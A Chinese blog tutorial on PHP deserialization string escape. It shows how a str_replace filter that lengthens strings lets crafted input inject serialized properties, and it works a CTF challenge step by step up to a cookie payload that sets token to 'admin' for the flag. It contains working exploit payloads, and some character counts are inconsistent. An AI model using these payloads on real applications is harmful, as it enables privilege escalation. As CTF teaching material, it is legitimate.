首先,必须先明白,这个点并不难,我给大家梳理一遍就会明白。
反序列化字符串逃逸就是序列化过程中逃逸出来字符,是不是很简单,哈哈哈!
好了,不闹了,其实:
这里你们只要懂得一个基础:
serialize()
函数序列化后可以保留其原始数据类型和结构,
而filter()
函数则可以对序列化后的字符串进行过滤,例如去除不安全的字符防止代码注入攻击等。具体过滤规则需要根据实际需求来定制。
举个栗子:
<?php class user{ public $username; public $password; public $BTG; public function __construct($u,$p){ $this ->username=$u; $this ->password=$p; $this->BTG=0; } } $u=new user('admin','123456'); echo serialize($u);
这里就是最最基础的一个反序列化,然后运行得到的结果是:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:3:"BTG";i:0;}
1.这里在实战中相当于拿到一道题目,先拿到最初的反序列化
接下来,我在原来的代码上稍微做个字符串逃逸
再强调一次:filter()
函数则可以对序列化后的字符串进行过滤,例如去除不安全的字符防止代码注入攻击等。具体过滤规则需要根据实际需求来定制。
2:修改一下原来代码:filter()
函数对序列化后的字符串进行过滤,进行字符串逃逸。
<?php class user{ public $username; public $password; public $BTG; public function __construct($u,$p){ $this ->username=$u; $this ->password=$p; $this->BTG=0; } } function filter($s){ return str_replace('admin','hacker',$s); } $u = new user ('admin','hacker',$s); $u_serialize=serialize($u); $us=filter($u_serialize); //$u=new user('admin','123456'); //echo serialize($u); echo $us;
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:3:"BTG";i:0;}//最初
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:3:"BTG";i:0;}//最新逃逸后
在序列化字符串中,s:5:"hacker"
表示字符串类型的属性值,其中 s:5:
表示字符串长度为 5,而实际上应该是 6("hacker")。到这里已经逃逸成功了。这是因为在 filter()
函数中,将 "admin" 替换为 "hacker" 后,字符串长度发生了变化,导致序列化字符串中的长度信息不准确。
所以接下来这里我就要把;s:3:"BTG";i:0;这里的BTG变成1;
代码:
<?php
class user{
public $username;
public $password;
public $BTG;
public function __construct($u,$p){
$this ->username=$u;
$this ->password=$p;
$this->BTG=0;
}
}
function filter($s){
return str_replace('admin','hacker',$s);
}
$u = new user ('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}','123456',$s);//这里就是把";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}放进'admin'里面补齐最后一个字符而已,";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}这里有45个字符,就直接一共45个admin,因为每次逃逸一个字符,所以必须重复45次
$u_serialize=serialize($u);
$us=filter($u_serialize);
echo($u_serialize);
结果:O:4:"user":3:{s:8:"username";s:270:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}";s:8:"password";s:6:"123456";s:3:"BTG";i:0;}
其实就到这里就搞定了,如果不放心,那就var——dump,把反序列化输出出来,
验证阶段:
<?php class user{ public $username; public $password; public $BTG; public function __construct($u,$p){ $this ->username=$u; $this ->password=$p; $this->BTG=0; } } function filter($s){ return str_replace('admin','hacker',$s); } $u = new user ('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}','123456',$s); $u_serialize=serialize($u); $us=filter($u_serialize); $obj=unserialize($us); var_dump($obj);
结果:
object(user)#2 (3) {
? ["username"]=>
? string(270) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
? ["password"]=>
? string(6) "123456"
? ["BTG"]=>
? int(1)
}
这里BTG从0变成了1,说明你是污染成功了的,因为我的原代码里面写死了BTG是0的,现在变成了1,所以证明反序列化是成功了。
我说现在大家应该都已经懂得反序列化字符串逃逸的一半了,不信?让我来引导大家做道例题就好了!
<?php
#?@message.php
error_reporting(0);
class?message{
????public?$from;
????public?$msg;
????public?$to;
????public?$token='user';
????public?function?__construct($f,$m,$t){
????????$this->from?=?$f;
????????$this->msg?=?$m;
????????$this->to?=?$t;
????}
}
$f?=?$_GET['f'];
$m?=?$_GET['m'];
$t?=?$_GET['t'];
if(isset($f)?&&?isset($m)?&&?isset($t)){
????$msg?=?new?message($f,$m,$t);
????$umsg?=?str_replace('fuck',?'loveU',?serialize($msg));
????setcookie('msg',base64_encode($umsg));
????echo?'Your?message?has?been?sent';
}
highlight_file(__FILE__);
字符串逃逸特征:?$umsg?=?str_replace('fuck',?'loveU',?serialize($msg));
做这种题就三步走,千万别给自己加戏!
第一步:先拿到以个正常最初的反序列化:
代码如下
<?php class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from=$f; $this->to=$t; } } function filter($msg){ return str_replace('fuck','loveU',$msg); } $msg=new message('a','b','c'); $msg_1=serialize($msg); echo $msg_1;
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";N;s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
?
第二步:使用filter进行一次字符串逃逸。
<?php class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from=$f; $this->to=$t; } } function filter($msg){ return str_replace('fuck','loveU',$msg); } $msg=new message('fuck','b','c'); $msg_1=serialize($msg); $msg_2=filter($msg_1); echo $msg_2;
O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
第三步:算出要逃逸的次数进行复制输出
s:4:"loveU"很明显逃逸一个字符,因为每次逃逸一个字符,";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}这里有62个字符要逃逸,所以必须复制61次fuck,还有这得改成:";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";},因为后面需要admin权限。
简单来说就是把";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}丢到fuck后面,然后根据字符个数,复制几次,就完成了。
<?php class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from=$f; $this->msg=$m; $this->to=$t; } } function filter($msg){ return str_replace('fuck','loveU',$msg); } $msg=new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c'); $msg_1=serialize($msg); $msg_2=filter($msg_1); echo $msg_2;
O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
搞定了!这就完成了,如果不放心,可以加一步验证(因为数很多字符容易出错)
?
也就改一下输出那个,这个半分钟就好最终变成了admin,说明我们反序列化成功的了。
<?php
highlight_file(__FILE__);
include('flag.php');
class?message{
????public?$from;
????public?$msg;
????public?$to;
????public?$token='user';
????public?function?__construct($f,$m,$t){
????????$this->from?=?$f;
????????$this->msg?=?$m;
????????$this->to?=?$t;
????}
}
if(isset($_COOKIE['msg'])){
????$msg?=?unserialize(base64_decode($_COOKIE['msg']));
????if($msg->token=='admin'){
????????echo?$flag;
????}
}
这道题目还有一点尾巴,这道题目还有一点隐藏代码,接下来把fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}加入道cookie就能拿到flag了
最后的最后,再进行一次总结:字符串逃逸有三步:
1.拿到正常序列化后字符串。(这个题目都会给·代码你,直接复制然后反序列化就好,没什么技术含量)
2.使用filter进行一次字符串逃逸。
3.第三步:算出要逃逸的次数进行复制输出(但是这里一定要提醒大家一下,字符串逃逸分为增多和减少,苦于篇幅上面我只介绍了一种增多,另外一种也是可以使用本方法的,只是有些地方要改一下,这个等我之后再更新文章)
ps:记住!无论字符串逃逸是增多还是减少,都是因为 return str_replace这个玩意替换字符后造成的逃逸。
希望我的文章能够帮助大家,谢谢看到这里的各位。
?